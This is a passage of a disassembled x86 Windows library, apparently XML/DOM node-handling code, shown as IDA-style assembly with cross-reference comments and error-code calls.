loc_69B4BDF4:				; CODE XREF: sub_69B4BD17+9Bj
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_69B4BE1D
		test	bl, 1
		jz	short loc_69B4BE03
		shr	ebx, 3
		jmp	short loc_69B4BE05
; ---------------------------------------------------------------------------


loc_69B4BE03:				; CODE XREF: sub_69B4BD17+E5j
		xor	ebx, ebx


loc_69B4BE05:				; CODE XREF: sub_69B4BD17+EAj
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0F8h]
		neg	al
		sbb	eax, eax
		neg	eax
		cmp	ebx, eax
		mov	byte ptr [ebp-31h], 1
		jg	short loc_69B4BE21


loc_69B4BE1D:				; CODE XREF: sub_69B4BD17+E0j
		mov	byte ptr [ebp-31h], 0


loc_69B4BE21:				; CODE XREF: sub_69B4BD17+104j
					; sub_69B4BD17+168j
		cmp	byte ptr [ebp-31h], 0
		jz	short loc_69B4BE2F
		mov	ecx, [ebp-30h]
		call	sub_69B1E0E2


loc_69B4BE2F:				; CODE XREF: sub_69B4BD17+10Ej
		lea	eax, [esi+4]
		push	eax		; Target
		call	sub_69B18980
		mov	[ebp-38h], eax
		test	al, 1
		jz	short loc_69B4BE46
		mov	ebx, eax
		shr	ebx, 3
		jmp	short loc_69B4BE48
; ---------------------------------------------------------------------------


loc_69B4BE46:				; CODE XREF: sub_69B4BD17+126j
		xor	ebx, ebx


loc_69B4BE48:				; CODE XREF: sub_69B4BD17+12Dj
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0F8h]
		neg	al
		sbb	eax, eax
		neg	eax
		cmp	ebx, eax
		setnle	bl
		cmp	bl, [ebp-31h]
		jz	short loc_69B4BE81
		push	dword ptr [ebp-38h]
		lea	eax, [esi+4]
		push	eax
		call	sub_69B18788
		cmp	byte ptr [ebp-31h], 0
		jz	short loc_69B4BE7C
		mov	ecx, [ebp-30h]
		call	sub_69B3F0A6


loc_69B4BE7C:				; CODE XREF: sub_69B4BD17+15Bj
		mov	[ebp-31h], bl
		jmp	short loc_69B4BE21
; ---------------------------------------------------------------------------


loc_69B4BE81:				; CODE XREF: sub_69B4BD17+149j
		push	dword ptr [edi]
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B2DEB2
		push	dword ptr [ebp-38h]
		lea	eax, [esi+4]
		push	eax
		call	sub_69B18788
		cmp	byte ptr [ebp-31h], 0
		jz	short loc_69B4BEA6
		mov	ecx, [ebp-2Ch]
		call	sub_69B3F0A6


loc_69B4BEA6:				; CODE XREF: sub_69B4BD17+D8j
					; sub_69B4BD17+185j
		cmp	dword ptr [ebp-20h], 0
		jz	loc_69B4BFFD
		mov	eax, [ebp-20h]
		push	dword ptr [eax+0Ch]
		push	0
		push	dword ptr [ebp-24h]
		mov	ecx, [edi+0Ch]
		call	sub_69B3DA18
		mov	edx, [esi]
		push	eax
		mov	ecx, esi
		call	dword ptr [edx+0F0h]


loc_69B4BECE:				; CODE XREF: sub_69B4BD17+89j
		cmp	dword ptr [ebp-20h], 0
		jz	loc_69B4BFFD
		cmp	byte ptr [ebp-27h], 0
		jnz	short loc_69B4BF09
		mov	eax, [esi+8]
		mov	ecx, eax
		and	ecx, 3F0h
		cmp	ecx, 20h
		jnz	short loc_69B4BF09
		shr	eax, 0Fh
		test	al, 1
		jz	short loc_69B4BF09
		mov	ebx, [ebp-2Ch]
		mov	ecx, ebx
		call	sub_69B3DABE
		push	eax
		mov	ecx, esi
		call	sub_69B4AE80
		jmp	short loc_69B4BF0C
; ---------------------------------------------------------------------------


loc_69B4BF09:				; CODE XREF: sub_69B4BD17+1C5j
					; sub_69B4BD17+1D5j ...
		mov	ebx, [ebp-2Ch]


loc_69B4BF0C:				; CODE XREF: sub_69B4BD17+1F0j
		xor	eax, eax
		mov	al, [esi+0Bh]
		and	eax, 1Fh
		jz	loc_69B4BFC7
		cmp	eax, 0Bh
		jz	loc_69B4BFB4
		cmp	eax, 0Fh
		jnz	loc_69B4BFFD
		mov	eax, [ebp-24h]
		mov	eax, [eax+10h]
		cmp	eax, dword_69B95A5C
		jnz	loc_69B4BFFD
		push	1
		push	1
		push	0
		mov	ecx, esi
		call	sub_69B4AAFC
		xor	edx, edx
		cmp	[eax+8], edx
		jz	loc_69B4BFFD
		mov	ecx, [ebx+70h]
		push	edx		; int
		push	edx		; lpString
		push	eax		; int
		call	sub_69B4D394
		mov	[ebp-3Ch], eax
		mov	ecx, ebx
		call	sub_69B3DABE
		test	eax, eax
		jz	short loc_69B4BF89
		cmp	byte ptr [ebp-27h], 0
		jnz	short loc_69B4BF89
		push	dword ptr [ebp-3Ch]
		mov	ecx, ebx
		call	sub_69B3DABE
		mov	ecx, eax
		add	ecx, 0Ch
		call	sub_69B48C2B


loc_69B4BF89:				; CODE XREF: sub_69B4BD17+256j
					; sub_69B4BD17+25Cj
		mov	ecx, [edi]
		call	sub_69B3DABE
		test	eax, eax
		jz	short loc_69B4BFFD
		mov	eax, [esi+8]
		shr	eax, 0Ah
		test	al, 1
		jnz	short loc_69B4BFFD
		push	dword ptr [ebp-3Ch]
		mov	ecx, [edi]
		call	sub_69B3DABE
		mov	ecx, eax
		add	ecx, 0Ch
		call	sub_69B47C9C
		jmp	short loc_69B4BFFD
; ---------------------------------------------------------------------------


loc_69B4BFB4:				; CODE XREF: sub_69B4BD17+206j
		cmp	[edi], ebx
		jz	short loc_69B4BFFD
		push	0
		push	1
		push	0
		mov	ecx, esi
		call	sub_69B4B74A
		jmp	short loc_69B4BFFD
; ---------------------------------------------------------------------------


loc_69B4BFC7:				; CODE XREF: sub_69B4BD17+1FDj
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_69B4BFD9
		push	eax
		mov	ecx, esi
		call	sub_69B48E56
		mov	[ebp-1Ch], eax


loc_69B4BFD9:				; CODE XREF: sub_69B4BD17+2B5j
		cmp	byte ptr [ebp-27h], 0
		jnz	short loc_69B4BFFD
		push	dword ptr [ebp-24h]
		call	sub_69B48CC4
		test	al, al
		jz	short loc_69B4BFFD
		push	esi
		mov	ecx, ebx
		call	sub_69B3DABE
		mov	ecx, eax
		add	ecx, 1Ch
		call	sub_69B48C85


loc_69B4BFFD:				; CODE XREF: sub_69B4BD17+193j
					; sub_69B4BD17+1BBj ...
		lea	eax, [ebp-40h]
		push	eax
		mov	ecx, esi
		call	sub_69B48DC1
		jmp	short loc_69B4C05D
; ---------------------------------------------------------------------------


loc_69B4C00A:				; CODE XREF: sub_69B4BD17+34Aj
		mov	eax, [ebx+8]
		shr	eax, 14h
		test	al, 1
		jz	short loc_69B4C048
		mov	eax, dword_69B95A84
		mov	[ebp-44h], eax
		cmp	dword ptr [eax+8], 1Fh
		jg	short loc_69B4C027
		call	sub_69B2E6D8


loc_69B4C027:				; CODE XREF: sub_69B4BD17+309j
		mov	eax, [ebp-44h]
		mov	eax, [eax+88h]
		mov	[ebp-48h], eax
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+38h]
		cmp	[ebp-48h], eax
		jnz	short loc_69B4C043
		mov	byte ptr [ebp-25h], 0


loc_69B4C043:				; CODE XREF: sub_69B4BD17+326j
		push	dword ptr [ebp-1Ch]
		jmp	short loc_69B4C04A
; ---------------------------------------------------------------------------


loc_69B4C048:				; CODE XREF: sub_69B4BD17+2FBj
		push	0


loc_69B4C04A:				; CODE XREF: sub_69B4BD17+32Fj
		mov	ecx, ebx
		push	edi
		call	sub_69B4BD17
		lea	eax, [ebp-40h]
		push	eax
		mov	ecx, esi
		call	sub_69B47D9F


loc_69B4C05D:				; CODE XREF: sub_69B4BD17+2F1j
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B4C00A
		cmp	[ebp-20h], eax
		jz	loc_69B4C3D8
		cmp	[ebp-26h], al
		jz	short loc_69B4C076
		mov	ebx, [edi+14h]
		jmp	short loc_69B4C078
; ---------------------------------------------------------------------------


loc_69B4C076:				; CODE XREF: sub_69B4BD17+358j
		xor	ebx, ebx


loc_69B4C078:				; CODE XREF: sub_69B4BD17+35Dj
		mov	[ebp-4Ch], ebx
		mov	eax, [esi+8]
		mov	ecx, eax
		shr	ecx, 0Eh
		test	cl, 1
		jz	loc_69B4C137
		cmp	byte ptr [ebp-25h], 0
		jnz	loc_69B4C137
		mov	ecx, eax
		shr	ecx, 0Ah
		test	cl, 1
		jnz	loc_69B4C3D8
		and	eax, 3F0h
		cmp	eax, 20h
		jnz	loc_69B4C3D8
		cmp	byte ptr [ebp-26h], 0
		jz	loc_69B4C3D8
		test	ebx, ebx
		jz	loc_69B4C3D8
		xor	edi, edi
		inc	edi
		mov	[ebp-5Ch], di
		mov	ecx, [esi+0Ch]
		call	sub_69B3DABE
		mov	[ebp-60h], eax
		mov	eax, [esi+8]
		shr	eax, 0Fh
		test	al, 1
		jz	short loc_69B4C0FF
		push	0
		push	edi
		mov	ecx, esi
		call	sub_69B4AD10
		test	eax, eax
		jz	short loc_69B4C0FB
		push	eax
		mov	ecx, [ebp-60h]
		call	sub_69B8B033
		and	dword ptr [ebx+8], 0FFFFFFFBh


loc_69B4C0FB:				; CODE XREF: sub_69B4BD17+3D5j
		and	byte ptr [esi+9], 7Fh


loc_69B4C0FF:				; CODE XREF: sub_69B4BD17+3C7j
		push	0
		mov	ecx, esi
		call	sub_69B47E6C
		push	eax
		push	edi
		mov	ecx, esi
		call	sub_69B4AD10
		test	eax, eax
		jz	short loc_69B4C122
		push	edi
		push	ebx
		push	eax
		push	dword ptr [ebp-60h]
		mov	ecx, esi
		call	sub_69B481EB


loc_69B4C122:				; CODE XREF: sub_69B4BD17+3FCj
		mov	eax, [esi]
		lea	ecx, [ebp-5Ch]
		push	ecx
		push	2
		mov	ecx, esi
		call	dword ptr [eax+0E8h]
		jmp	loc_69B4C3D8
; ---------------------------------------------------------------------------


loc_69B4C137:				; CODE XREF: sub_69B4BD17+36Fj
					; sub_69B4BD17+379j
		mov	ebx, [edi+4]
		and	dword ptr [ebp-64h], 0
		test	ebx, ebx
		jz	loc_69B4C3CB
		shr	eax, 18h
		and	eax, 1Fh
		jz	short loc_69B4C185
		cmp	eax, 0Fh
		jnz	short loc_69B4C19B
		mov	eax, [ebp+0Ch]
		test	eax, eax
		jnz	short loc_69B4C16C
		cmp	[ebp-26h], al
		jz	short loc_69B4C19B
		push	ebx
		mov	ecx, [ebp-4Ch]
		call	sub_69B48E56
		test	eax, eax
		jz	short loc_69B4C19B


loc_69B4C16C:				; CODE XREF: sub_69B4BD17+441j
		cmp	byte ptr [ebp-26h], 0
		jz	short loc_69B4C177
		mov	ecx, [edi+14h]
		jmp	short loc_69B4C179
; ---------------------------------------------------------------------------


loc_69B4C177:				; CODE XREF: sub_69B4BD17+459j
		xor	ecx, ecx


loc_69B4C179:				; CODE XREF: sub_69B4BD17+45Ej
		push	ecx
		push	ebx
		push	eax
		mov	ecx, esi
		call	sub_69B4936A
		jmp	short loc_69B4C18D
; ---------------------------------------------------------------------------


loc_69B4C185:				; CODE XREF: sub_69B4BD17+435j
		push	ebx
		mov	ecx, esi
		call	sub_69B48E56


loc_69B4C18D:				; CODE XREF: sub_69B4BD17+46Cj
		test	eax, eax
		jz	short loc_69B4C19B
		mov	ecx, eax
		call	sub_69B8C6AD
		mov	[ebp-64h], eax


loc_69B4C19B:				; CODE XREF: sub_69B4BD17+43Aj
					; sub_69B4BD17+446j ...
		xor	eax, eax
		cmp	[ebp-64h], eax
		jz	loc_69B4C3D8
		mov	[ebp-4], eax
		mov	[ebp-68h], eax
		mov	edi, [ebp-4Ch]
		mov	[ebp-6Ch], edi
		mov	[ebp-70h], eax
		xor	ebx, ebx
		inc	ebx
		mov	[ebp-80h], bx
		cmp	edi, eax
		jnz	short loc_69B4C1CF
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0F4h]
		mov	edi, eax
		mov	[ebp-6Ch], edi


loc_69B4C1CF:				; CODE XREF: sub_69B4BD17+4A7j
		cmp	dword ptr [ebp-64h], 2
		jz	short loc_69B4C1E3
		mov	eax, [esi+8]
		shr	eax, 0Fh
		test	al, 1
		jz	loc_69B4C290


loc_69B4C1E3:				; CODE XREF: sub_69B4BD17+4BCj
		mov	eax, [esi+8]
		shr	eax, 0Ah
		test	al, 1
		jnz	loc_69B4C290
		test	edi, edi
		jz	loc_69B4C290
		mov	ecx, [esi+0Ch]
		mov	[ebp-84h], ecx
		call	sub_69B3DABE
		mov	[ebp-88h], eax
		mov	eax, [esi+0Ch]
		mov	[ebp-8Ch], eax
		mov	al, [eax+82h]
		mov	[ebp-8Dh], al
		mov	eax, [esi+8]
		shr	eax, 0Fh
		test	al, 1
		jz	short loc_69B4C254
		push	0
		push	ebx
		mov	ecx, esi
		call	sub_69B4AD10
		mov	[ebp-94h], eax
		test	eax, eax
		jz	short loc_69B4C250
		push	eax
		mov	ecx, [ebp-88h]
		call	sub_69B8B033
		and	dword ptr [edi+8], 0FFFFFFFBh


loc_69B4C250:				; CODE XREF: sub_69B4BD17+527j
		and	byte ptr [esi+9], 7Fh


loc_69B4C254:				; CODE XREF: sub_69B4BD17+513j
		cmp	dword ptr [ebp-64h], 2
		jnz	short loc_69B4C290
		mov	byte ptr [ebp-8Dh], 1
		push	0
		mov	ecx, esi
		call	sub_69B47E6C
		mov	[ebp-70h], eax
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_69B4AD10
		mov	[ebp-98h], eax
		test	eax, eax
		jz	short loc_69B4C290
		push	ebx
		push	edi
		push	eax
		push	dword ptr [ebp-88h]
		mov	ecx, esi
		call	sub_69B481EB


loc_69B4C290:				; CODE XREF: sub_69B4BD17+4C6j
					; sub_69B4BD17+4D4j ...
		cmp	dword ptr [ebp-64h], 0Ch
		jge	short loc_69B4C29B
		cmp	[ebp-64h], ebx
		jnz	short loc_69B4C2EA


loc_69B4C29B:				; CODE XREF: sub_69B4BD17+57Dj
		mov	eax, [esi+8]
		mov	ecx, eax
		shr	ecx, 4
		and	ecx, 3Fh
		cmp	[ebp-64h], ecx
		jz	short loc_69B4C2CA
		shr	eax, 14h
		mov	ecx, esi
		test	al, 1
		jz	short loc_69B4C2C0
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		call	sub_69B4936A
		jmp	short loc_69B4C2C7
; ---------------------------------------------------------------------------


loc_69B4C2C0:				; CODE XREF: sub_69B4BD17+59Bj
		push	0
		call	sub_69B48E56


loc_69B4C2C7:				; CODE XREF: sub_69B4BD17+5A7j
		mov	[ebp-68h], eax


loc_69B4C2CA:				; CODE XREF: sub_69B4BD17+592j
		mov	eax, [esi+0Ch]
		mov	[ebp-9Ch], eax
		push	dword ptr [ebp-68h]
		push	0
		lea	ecx, [ebp-80h]
		push	ecx
		push	dword ptr [ebp-64h]
		push	dword ptr [ebp-70h]
		push	eax
		mov	ecx, esi
		call	sub_69B4858B


loc_69B4C2EA:				; CODE XREF: sub_69B4BD17+582j
		mov	eax, [esi]
		lea	ecx, [ebp-80h]
		push	ecx
		push	dword ptr [ebp-64h]
		mov	ecx, esi
		call	dword ptr [eax+0E8h]


loc_69B4C2FB:				; CODE XREF: sub_69B4BD17+6AFj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	loc_69B4C3D8
; ---------------------------------------------------------------------------


loc_69B4C304:				; DATA XREF: .text:69B4C3E4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B4C30D:				; DATA XREF: .text:69B4C3E8o
		mov	esp, [ebp-18h]
		mov	esi, [ebp+8]
		mov	eax, [esi+8]
		cmp	eax, [esi+4]
		jz	loc_69B4C3C1
		call	sub_69B2E808
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+38h]
		mov	[ebp-0A0h], eax
		call	sub_69B2E808
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-0A4h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	edi, [esi+18h]
		and	dword ptr [ebp-0A8h], 0
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+0F4h]
		mov	ebx, eax
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_69B4C381
		mov	cl, [edi+0Bh]
		and	cl, 1Fh
		cmp	cl, 0Fh
		jnz	short loc_69B4C381
		test	ebx, ebx
		jz	short loc_69B4C381
		push	eax
		mov	ecx, ebx
		call	sub_69B48E56
		mov	[ebp-0A8h], eax


loc_69B4C381:				; CODE XREF: sub_69B4BD17+64Bj
					; sub_69B4BD17+656j ...
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		mov	[esi+8], ecx
		mov	[esi+4], eax
		test	ebx, ebx
		jz	short loc_69B4C39B
		mov	eax, [ebx+8]
		shr	eax, 0Ah
		and	al, 1
		jmp	short loc_69B4C39D
; ---------------------------------------------------------------------------


loc_69B4C39B:				; CODE XREF: sub_69B4BD17+678j
		mov	al, 1


loc_69B4C39D:				; CODE XREF: sub_69B4BD17+682j
		mov	[esi+1Ch], al
		push	dword ptr [ebp-0A8h]
		push	esi
		mov	ecx, edi
		call	sub_69B4BD17
		push	dword ptr [ebp-0A4h]
		push	dword ptr [ebp-0A0h]
		call	sub_69B2E8A2
		jmp	short loc_69B4C3D8
; ---------------------------------------------------------------------------


loc_69B4C3C1:				; CODE XREF: sub_69B4BD17+602j
		call	sub_69B2E860
		jmp	loc_69B4C2FB
; ---------------------------------------------------------------------------


loc_69B4C3CB:				; CODE XREF: sub_69B4BD17+429j
		cmp	byte ptr [ebp-25h], 0
		jz	short loc_69B4C3D8
		mov	ecx, esi
		call	sub_69B4B872


loc_69B4C3D8:				; CODE XREF: sub_69B4BD17+34Fj
					; sub_69B4BD17+387j ...
		call	sub_69B1853C
		retn	8
sub_69B4BD17	endp

; ---------------------------------------------------------------------------
dword_69B4C3E0	dd 0FFFFFFFFh			dd offset loc_69B4C304
		dd offset loc_69B4C30D

; =============== S U B	R O U T	I N E =======================================



sub_69B4C3EC	proc near		; CODE XREF: sub_69B4C674+365p
					; sub_69B4C674+40Ap
		push	44h
		push	offset dword_69B4C668
		call	sub_69B19C5C
		mov	esi, [ebp+8]
		mov	ebx, [ebp+0Ch]
		test	esi, esi
		jz	loc_69B4C59C
		mov	al, [ebx+0Bh]
		and	al, 1Fh
		cmp	al, 0Fh
		jnz	loc_69B4C57A
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+3Ch]
		mov	ecx, [eax+8]
		mov	[ebp-1Ch], ecx
		mov	ecx, [ecx+10h]
		mov	[ebp-20h], ecx
		test	ecx, ecx
		jz	loc_69B4C57A
		and	dword ptr [ebp-24h], 0
		mov	eax, [eax+0Ch]
		mov	[ebp-28h], eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+3Ch]
		mov	edi, [eax+0Ch]
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0B4h]
		mov	ebx, [eax+70h]
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+3Ch]
		mov	eax, [eax+0Ch]
		cmp	eax, [ebp-28h]
		jnz	short loc_69B4C473
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		cmp	dword ptr [eax+10h], 0
		jz	short loc_69B4C473
		mov	[ebp-24h], esi
		jmp	loc_69B4C53B
; ---------------------------------------------------------------------------


loc_69B4C473:				; CODE XREF: sub_69B4C3EC+70j
					; sub_69B4C3EC+7Dj
		mov	eax, [ebp-28h]
		cmp	eax, dword_69B95A6C
		jnz	short loc_69B4C4C5
		mov	eax, [ebp-1Ch]
		cmp	[eax+14h], edi
		jnz	short loc_69B4C4C5
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		mov	edi, [eax+10h]
		test	edi, edi
		jz	short loc_69B4C4C5
		push	1
		push	1
		push	0
		mov	ecx, [ebp+0Ch]
		call	sub_69B4AAFC
		push	0		; int
		push	0		; lpString
		push	eax		; int
		mov	ecx, ebx
		call	sub_69B4D394
		push	eax
		mov	ecx, ebx
		call	sub_69B4DA96
		cmp	eax, edi
		jz	short loc_69B4C4C5
		mov	eax, [ebp-1Ch]
		mov	ecx, [eax+14h]
		jmp	loc_69B4C552
; ---------------------------------------------------------------------------


loc_69B4C4C5:				; CODE XREF: sub_69B4C3EC+90j
					; sub_69B4C3EC+98j ...
		lea	eax, [ebp-2Ch]
		push	eax
		mov	ecx, esi
		call	sub_69B48F23
		jmp	short loc_69B4C530
; ---------------------------------------------------------------------------


loc_69B4C4D2:				; CODE XREF: sub_69B4C3EC+148j
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+3Ch]
		mov	ecx, [eax+0Ch]
		cmp	ecx, dword_69B95A6C
		jnz	short loc_69B4C517
		mov	eax, [eax+8]
		mov	ecx, [ebp-28h]
		cmp	[eax+14h], ecx
		jnz	short loc_69B4C525
		push	1
		push	1
		push	0
		mov	ecx, edi
		call	sub_69B4AAFC
		push	0		; int
		push	0		; lpString
		push	eax		; int
		mov	ecx, ebx
		call	sub_69B4D394
		push	eax
		mov	ecx, ebx
		call	sub_69B4DA96
		cmp	eax, [ebp-20h]
		jnz	short loc_69B4C54F
		jmp	short loc_69B4C525
; ---------------------------------------------------------------------------


loc_69B4C517:				; CODE XREF: sub_69B4C3EC+F6j
		cmp	ecx, [ebp-28h]
		jnz	short loc_69B4C525
		mov	eax, [eax+8]
		cmp	dword ptr [eax+10h], 0
		jnz	short loc_69B4C538


loc_69B4C525:				; CODE XREF: sub_69B4C3EC+101j
					; sub_69B4C3EC+129j ...
		lea	eax, [ebp-2Ch]
		push	eax
		mov	ecx, esi
		call	sub_69B486B5


loc_69B4C530:				; CODE XREF: sub_69B4C3EC+E4j
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B4C4D2
		jmp	short loc_69B4C53B
; ---------------------------------------------------------------------------


loc_69B4C538:				; CODE XREF: sub_69B4C3EC+137j
		mov	[ebp-24h], edi


loc_69B4C53B:				; CODE XREF: sub_69B4C3EC+82j
					; sub_69B4C3EC+14Aj
		mov	ecx, [ebp-24h]
		test	ecx, ecx
		jz	short loc_69B4C577
		mov	eax, [ecx]
		call	dword ptr [eax+38h]
		mov	ecx, [ebp-20h]
		cmp	[eax+10h], ecx
		jz	short loc_69B4C577


loc_69B4C54F:				; CODE XREF: sub_69B4C3EC+127j
		mov	ecx, [ebp-28h]


loc_69B4C552:				; CODE XREF: sub_69B4C3EC+D4j
		test	ecx, ecx
		jz	short loc_69B4C55D
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		jmp	short loc_69B4C562
; ---------------------------------------------------------------------------


loc_69B4C55D:				; CODE XREF: sub_69B4C3EC+168j
		mov	eax, offset off_69B1A5AC


loc_69B4C562:				; CODE XREF: sub_69B4C3EC+16Fj
		push	0
		push	eax
		push	0C00CE202h
		push	80070057h
		call	sub_69B2E9D0
		add	esp, 10h


loc_69B4C577:				; CODE XREF: sub_69B4C3EC+154j
					; sub_69B4C3EC+161j
		mov	ebx, [ebp+0Ch]


loc_69B4C57A:				; CODE XREF: sub_69B4C3EC+21j
					; sub_69B4C3EC+3Cj
		test	esi, esi
		jz	short loc_69B4C59C
		mov	eax, [ebx+0Ch]
		cmp	eax, [esi+0Ch]
		jnz	short loc_69B4C59C
		mov	eax, [esi+8]
		shr	eax, 0Ah
		mov	ecx, [ebx+8]
		shr	ecx, 0Ah
		xor	al, cl
		test	al, 1
		jz	loc_69B4C659


loc_69B4C59C:				; CODE XREF: sub_69B4C3EC+14j
					; sub_69B4C3EC+190j ...
		lea	ecx, [ebp-50h]
		call	sub_69B48DB0
		mov	edi, [ebx+0Ch]
		test	esi, esi
		jz	short loc_69B4C5B3
		mov	ecx, [esi+0Ch]
		mov	[ebp-54h], ecx
		jmp	short loc_69B4C5B8
; ---------------------------------------------------------------------------


loc_69B4C5B3:				; CODE XREF: sub_69B4C3EC+1BDj
		mov	[ebp-54h], edi
		mov	ecx, edi


loc_69B4C5B8:				; CODE XREF: sub_69B4C3EC+1C5j
		mov	[ebp-50h], ecx
		call	sub_69B3DABE
		mov	[ebp-4Ch], eax
		test	eax, eax
		jz	short loc_69B4C5D1
		cmp	byte ptr [eax+2Ch], 0
		jnz	short loc_69B4C5D1
		and	dword ptr [ebp-4Ch], 0


loc_69B4C5D1:				; CODE XREF: sub_69B4C3EC+1D9j
					; sub_69B4C3EC+1DFj
		mov	ecx, edi
		call	sub_69B3DABE
		mov	[ebp-48h], eax
		xor	ecx, ecx
		cmp	eax, ecx
		jz	short loc_69B4C5E9
		cmp	[eax+2Ch], cl
		jnz	short loc_69B4C5E9
		mov	[ebp-48h], ecx


loc_69B4C5E9:				; CODE XREF: sub_69B4C3EC+1F3j
					; sub_69B4C3EC+1F8j
		mov	eax, [ebp-54h]
		mov	eax, [eax+70h]
		mov	[ebp-44h], eax
		mov	eax, [edi+70h]
		mov	[ebp-40h], eax
		mov	[ebp-3Ch], esi
		mov	[ebp-38h], ebx
		cmp	esi, ecx
		jz	short loc_69B4C60F
		mov	eax, [esi+8]
		shr	eax, 0Ah
		and	al, 1
		mov	[ebp-34h], al
		jmp	short loc_69B4C613
; ---------------------------------------------------------------------------


loc_69B4C60F:				; CODE XREF: sub_69B4C3EC+214j
		mov	byte ptr [ebp-34h], 1


loc_69B4C613:				; CODE XREF: sub_69B4C3EC+221j
		cmp	dword ptr [edi+0E0h], 1
		setz	al
		mov	[ebp-33h], al
		mov	[ebp-4], ecx
		push	ecx
		lea	eax, [ebp-50h]
		push	eax
		mov	ecx, ebx
		call	sub_69B4BD17
		jmp	short loc_69B4C64D
; ---------------------------------------------------------------------------


loc_69B4C631:				; DATA XREF: .text:69B4C66Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B4C63A:				; DATA XREF: .text:69B4C670o
		mov	esp, [ebp-18h]
		push	0
		lea	eax, [ebp-30h]
		push	eax
		call	sub_69B17320
		call	sub_69B2E860


loc_69B4C64D:				; CODE XREF: sub_69B4C3EC+243j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-50h]
		call	sub_69B48DB7


loc_69B4C659:				; CODE XREF: sub_69B4C3EC+1AAj
		call	sub_69B1853C
		retn	8
sub_69B4C3EC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B4C668	dd 0FFFFFFFFh			dd offset loc_69B4C631
		dd offset loc_69B4C63A

; =============== S U B	R O U T	I N E =======================================



sub_69B4C674	proc near		; CODE XREF: sub_69B14EAC+77p
					; sub_69B3D53E+10p ...
		push	40h
		push	offset dword_69B4CBF0
		call	sub_69B19C5C
		mov	esi, ecx
		mov	[ebp-1Ch], esi
		or	dword ptr [ebp-20h], 0FFFFFFFFh
		xor	ebx, ebx
		mov	[ebp-21h], bl
		call	sub_69B48CEA
		test	byte ptr [esi+0Ah], 0Ch
		jnz	short loc_69B4C6AE
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+118h]
		test	al, al
		jz	short loc_69B4C6AE
		mov	ecx, esi
		call	sub_69B49504


loc_69B4C6AE:				; CODE XREF: sub_69B4C674+23j
					; sub_69B4C674+31j
		mov	edi, [ebp+8]
		cmp	edi, ebx
		jz	loc_69B4C877
		mov	ecx, edi
		call	sub_69B1B42A
		mov	edi, eax
		mov	ecx, esi
		call	sub_69B1B42A
		cmp	eax, edi
		jz	short loc_69B4C6E0
		push	ebx
		push	0C00CE21Bh
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B4C6E0:				; CODE XREF: sub_69B4C674+57j
		mov	edi, [ebp+8]
		xor	eax, eax
		mov	al, [edi+0Bh]
		and	eax, 1Fh
		mov	[ebp-20h], eax
		cmp	[ebp+0Ch], ebx
		jz	short loc_69B4C720
		mov	ecx, [ebp+0Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+0F4h]
		cmp	eax, esi
		jz	short loc_69B4C720
		push	ebx
		mov	al, [ebp+14h]
		neg	al
		sbb	eax, eax
		and	eax, 0Eh
		add	eax, 0C00CE20Bh
		push	eax
		push	80070057h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B4C720:				; CODE XREF: sub_69B4C674+7Dj
					; sub_69B4C674+8Cj
		cmp	dword ptr [ebp-20h], 4
		jz	loc_69B4CBBB
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+0F4h]
		cmp	eax, ebx
		jz	short loc_69B4C73F
		mov	ecx, eax
		call	sub_69B48CEA


loc_69B4C73F:				; CODE XREF: sub_69B4C674+C2j
		cmp	edi, esi
		jz	short loc_69B4C74F
		push	edi
		mov	ecx, esi
		call	sub_69B4827F
		test	al, al
		jz	short loc_69B4C762


loc_69B4C74F:				; CODE XREF: sub_69B4C674+CDj
		push	ebx
		push	0C00CE20Ah
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B4C762:				; CODE XREF: sub_69B4C674+D9j
		mov	al, [esi+0Bh]
		and	al, 1Fh
		cmp	al, 3
		jnz	short loc_69B4C7D0
		mov	eax, [esi+0Ch]
		test	byte ptr [eax+0ECh], 1
		jnz	short loc_69B4C7D0
		mov	[ebp-28h], ebx
		cmp	dword ptr [ebp-20h], 11h
		jnz	short loc_69B4C7AF
		lea	eax, [ebp-2Ch]
		push	eax
		mov	ecx, edi
		call	sub_69B49F0B
		jmp	short loc_69B4C7AB
; ---------------------------------------------------------------------------


loc_69B4C78D:				; CODE XREF: sub_69B4C674+139j
		test	byte ptr [eax+0Bh], 1Fh
		jnz	short loc_69B4C7A0
		inc	dword ptr [ebp-28h]
		cmp	dword ptr [ebp-28h], 1
		jg	loc_69B4CBCE


